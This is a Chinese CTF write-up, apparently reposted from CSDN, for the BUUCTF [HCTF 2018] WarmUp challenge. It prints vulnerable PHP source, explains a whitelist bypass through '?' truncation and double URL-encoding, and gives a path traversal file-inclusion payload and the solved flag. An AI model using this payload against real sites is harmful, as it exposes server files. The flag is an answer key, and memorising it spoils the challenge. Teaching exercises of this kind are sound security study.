1. 程式人生 > 其它 >BUUCTF [HCTF 2018]WarmUp

BUUCTF [HCTF 2018]WarmUp

  1. 開啟網頁
  1. F12檢視原始碼,發現有個source.php

  2. 訪問這個檔案
    http://a493ed38-9a1e-42ac-9d38-5028c489a0de.node4.buuoj.cn:81/source.php

  3. 得到網頁原始碼

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 
  1. 再訪問hint.php

flag應該在ffffllllaaaagggg

6.審計程式碼

if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }

也就是說 如果 file 不空且為字串且經過emmm類的checkFile函式過濾,就執行檔案包含,否則就輸出滑稽圖片。而需要被包含的檔案就是hint.php提示的ffffllllaaaagggg。

  1. 接著審
    $_page = mb_substr(
        $page,
        0,
        mb_strpos($page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }

    $_page = urldecode($page);
    $_page = mb_substr(
        $_page,
        0,
        mb_strpos($_page . '?', '?')
    );
    if (in_array($_page, $whitelist)) {
        return true;
    }
    echo "you can't see it";

這段大意是獲取傳入的引數位數,然後擷取前該位數的字元。
舉個例子,傳入引數是flag.php,首先經過mb_strpos獲取位數,為8,然後經過mb_substr擷取flag.php的前八位,也就是flag.php。
然後需要該引數在白名單裡,也就是擷取第一個?後的值為hint.php或source.php
然後經過url解碼後再進行一次過濾,如果最後返回真,即可包含檔案。

  1. 構造payload
    ?file=source.php%253F../../../../../ffffllllaaaagggg

注:

  1. 確保url解碼後能通過白名單,瀏覽器會解碼一次。而?經過一次url編碼為:%3f;兩次為:%253f
  2. ../../../../../ffffllllaaaagggg從根目錄訪問ffffllllaaaagggg
  1. 得到flag
  1. flag{73a90e7b-d0eb-493d-9489-246638b3e707}


原文連結:https://blog.csdn.net/qq_41523170/article/details/107590435